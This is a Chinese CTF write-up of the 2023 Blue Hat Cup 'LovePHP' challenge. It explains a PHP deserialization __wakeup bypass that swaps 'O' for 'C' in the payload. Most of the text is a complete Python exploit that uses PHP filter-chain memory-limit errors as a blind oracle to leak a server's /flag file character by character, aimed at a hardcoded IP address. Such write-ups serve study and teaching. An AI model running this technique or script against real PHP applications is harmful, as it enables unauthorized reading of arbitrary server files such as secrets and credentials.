记一次weak_up函数绕过
2023 蓝帽杯CTF LovePHP
因为比赛已经结束,所以复现环境是从本地进行复现,这次比赛本来排名挺靠前的,原本总排名是60多名,赛区排名30多名,本来是以为有希望进入半决赛的,但是没想到比赛结束之后加上取证的分数后排名跌出了赛区前60,因为我们本身也缺少杂项方面的人,所以在取证方面只拿了100多分,也是挺遗憾的。
这篇文章主要写关于这次比赛,我对于反序列化__wakeup魔术方法绕过的认识
<?php class Saferman{ public $check = True; public function __destruct(){ if($this->check === True){ file($_GET['secret']); } } public function __wakeup(){ $this->check=False; } } if(isset($_GET['my_secret.flag'])){ unserialize($_GET['my_secret.flag']); }else{ highlight_file(__FILE__); }
代码如上面所示:可以看到代码其实很简单只需要绕过__wakeup魔术方法便可以了,但是这道题的php版本为7.4.33,所以如果使用 cve-2016-7124绕过的话是不可能的,所以这里的绕过方式是使用C绕过。
我们可以传入上面构造出来的payload然后将O改为C,便可以绕过__wakeup魔术方法
虽然有点报错,但是确实是绕过了__wakeup魔术方法。但是由于这道题刚好$check=true,所以是可以进行直接替换的,但是如果序列化后是需要传值的话,那么不能这样直接替换从而绕过__wakeup魔术方法。
可以看到这样直接替换后是没办法直接绕过__wakeup魔术方法的。
然后就是filterchain侧信道盲注攻击,脚本如下
import requests import sys from base64 import b64decode """ THE GRAND IDEA: We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE filter will blow up the string length by 4x every time it is used, which will quickly cause 500 error if and only if the string is non empty. So we now have an oracle that tells us if the string is empty. THE GRAND IDEA 2: The dechunk filter is interesting. https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724 It looks like it was implemented for something http related, but for our purposes, the interesting behavior is that if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our above oracle! In fact we can verify that since the flag starts with D that the filter chain dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE does not cause a 500 error. THE REST: So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent into madness trying to figure out ways to: - somehow get other characters not at the start of the flag file to the front - detect more precisely which character is at the front """ def join(*x): return '|'.join(x) def err(s): print(s) raise ValueError def req(s): return requests.get('http://39.105.5.7:49227/?my[secret.flag=C:8:%22Saferman%22:0:{}&secret='+f'php://filter/{s}/resource=/flag').status_code == 500 blow_up_enc = join(*['convert.quoted-printable-encode']*1000) blow_up_utf32 = 'convert.iconv.L1.UCS-4LE' blow_up_inf = join(*[blow_up_utf32]*50) header = 'convert.base64-encode|convert.base64-encode' # Start get baseline blowup print('Calculating blowup') baseline_blowup = 0 for n in range(100): payload = join(*[blow_up_utf32]*n) if req(f'{header}|{payload}'): baseline_blowup = n break else: err('something wrong') print(f'baseline blowup is {baseline_blowup}') trailer = join(*[blow_up_utf32]*(baseline_blowup-1)) assert req(f'{header}|{trailer}') == False print('detecting equals') j = [ req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'), req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'), req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}') ] print(j) if sum(j) != 2: err('something wrong') if j[0] == False: header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode' elif j[1] == False: header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode' elif j[2] == False: header = f'convert.base64-encode|convert.base64-encode' else: err('something wrong') print(f'j: {j}') print(f'header: {header}') """ Step two: Now we have something of the form [a-zA-Z0-9 things]== Here the pain begins. For a long time I was trying to find something that would allow me to strip successive characters from the start of the string to access every character. Maybe something like that exists but I couldn't find it. However, if you play around with filter combinations you notice there are filters that *swap* characters: convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string: abcdefgh -> badcfehg convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters: abcdefgh -> dcbahgfe This allows us to access the first four characters of the string. Can we do better? It turns out YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of the string: abcdefgh -> <0xff><0xfe>abcdefgh The idea being that if we now use the r4 gadget, we get something like: ba<0xfe><0xff>fedc And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid <0xfe><0xff> to get: bafedc And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th characters of the string. There's only one problem: our r4 gadget requires that the string length is a multiple of 4. The original base64 string will be a multiple of four by definition, so when we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it turns out, if we apply the filter convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7 It will turn the == into: +---AD0-3D3D+---AD0-3D3D And this is magic, because this corrects such that when we apply the convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four! Let's recap. We have a string like: abcdefghij== Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7: abcdefghij+---AD0-3D3D+---AD0-3D3D Apply convert.iconv.CSUNICODE.CSUNICODE: <0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D Apply r4 gadget: ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3 Apply base64-decode | base64-encode, so the '-' and high bytes will disappear: bafedcjihg+0DAD3D3+0DAD3Dw== Then apply r4 once more: efabijcd0+gh3DAD0+3D3DAD==wD And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but the string still has two equals signs in it, so we can reapply the technique as many times as we want, to access all the characters in the string ;) """ flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode" r2 = "convert.iconv.CSUNICODE.UCS-2BE" r4 = "convert.iconv.UCS-4LE.10646-1:1993" def get_nth(n): global flip, r2, r4 o = [] chunk = n // 2 if chunk % 2 == 1: o.append(r4) o.extend([flip, r4] * (chunk // 2)) if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2) return join(*o) """ Step 3: This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but I just bruteforced every combination of iconv filters to find these. Numbers are a bit trickier because iconv doesn't tend to touch them. In the CTF you coud porbably just guess from there once you have the letters. But if you actually want a full leak you can base64 encode a third time and use the first two letters of the resulting string to figure out which number it is. """ rot1 = 'convert.iconv.437.CP930' be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode' o = '' def find_letter(prefix): if not req(f'{prefix}|dechunk|{blow_up_inf}'): # a-f A-F 0-9 if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'): # a-e for n in range(5): if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'): return 'edcba'[n] break else: err('something wrong') elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'): # A-E for n in range(5): if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'): return 'EDCBA'[n] break else: err('something wrong') elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'): return '*' elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # f return 'f' elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # F return 'F' else: err('something wrong') elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'): # n-s N-S if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'): # n-r for n in range(5): if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'): return 'rqpon'[n] break else: err('something wrong') elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'): # N-R for n in range(5): if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'): return 'RQPON'[n] break else: err('something wrong') elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # s return 's' elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # S return 'S' else: err('something wrong') elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # i j k if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'k' elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'j' elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'i' else: err('something wrong') elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # I J K if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'K' elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'J' elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'I' else: err('something wrong') elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # v w x if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'x' elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'w' elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'v' else: err('something wrong') elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # V W X if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'X' elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'W' elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return 'V' else: err('something wrong') elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # Z return 'Z' elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # z return 'z' elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # M return 'M' elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # m return 'm' elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # y return 'y' elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # Y return 'Y' elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # l return 'l' elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # L return 'L' elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # h return 'h' elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # H return 'H' elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # u return 'u' elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # U return 'U' elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # g return 'g' elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # G return 'G' elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # t return 't' elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # T return 'T' else: err('something wrong') print() for i in range(100): prefix = f'{header}|{get_nth(i)}' letter = find_letter(prefix) # it's a number! check base64 if letter == '*': prefix = f'{header}|{get_nth(i)}|convert.base64-encode' s = find_letter(prefix) if s == 'M': # 0 - 3 prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}' ss = find_letter(prefix) if ss in 'CDEFGH': letter = '0' elif ss in 'STUVWX': letter = '1' elif ss in 'ijklmn': letter = '2' elif ss in 'yz*': letter = '3' else: err(f'bad num ({ss})') elif s == 'N': # 4 - 7 prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}' ss = find_letter(prefix) if ss in 'CDEFGH': letter = '4' elif ss in 'STUVWX': letter = '5' elif ss in 'ijklmn': letter = '6' elif ss in 'yz*': letter = '7' else: err(f'bad num ({ss})') elif s == 'O': # 8 - 9 prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}' ss = find_letter(prefix) if ss in 'CDEFGH': letter = '8' elif ss in 'STUVWX': letter = '9' else: err(f'bad num ({ss})') else: err('wtf') print(end=letter) o += letter sys.stdout.flush() """ We are done!! :) """ print() d = b64decode(o.encode() + b'=' * 4) # remove KR padding d = d.replace(b'$)C',b'') print(b64decode(d))
“有人见星辰,有人见尘埃”